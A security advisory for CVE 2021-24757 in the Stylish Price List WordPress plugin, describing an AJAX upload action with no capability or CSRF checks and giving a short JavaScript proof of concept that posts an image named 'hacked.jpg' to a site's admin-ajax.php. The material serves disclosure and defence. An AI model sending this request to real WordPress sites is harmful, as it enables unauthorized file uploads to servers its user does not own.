Stylish Price List < 6.9.0 – Unauthenticated Arbitrary Image Upload | CVE 2021-24757

Description

The plugin does not perform capability checks in its spl_upload_ser_img AJAX action (available to both unauthenticated and authenticated users), which could allow unauthenticated users to upload images.

v6.9.0 removed the unauthenticated hook, however, no capability and CSRF checks were implemented, still allowing the issue to be exploited by any authenticated user. A separate advisory has been created for it

Proof of Concept

fetch("https://upload.wikimedia.org/wikipedia/commons/e/e8/DID_U_ASK_4_MOAR_KINDESS_ON_WIKIPEDIA.jpg").then(r=>r.blob()).then(b=>{const p = new FormData();
p.set("action","spl_upload_ser_img");
p.set("file",new File([b],"hacked.jpg",{type:"image/jpeg"}));
fetch("https://example.com/wp-admin/admin-ajax.php",{method:"POST",body:p});
})

The uploaded file will be at https://example.com/wp-content/uploads/2021/09/hacked.jpg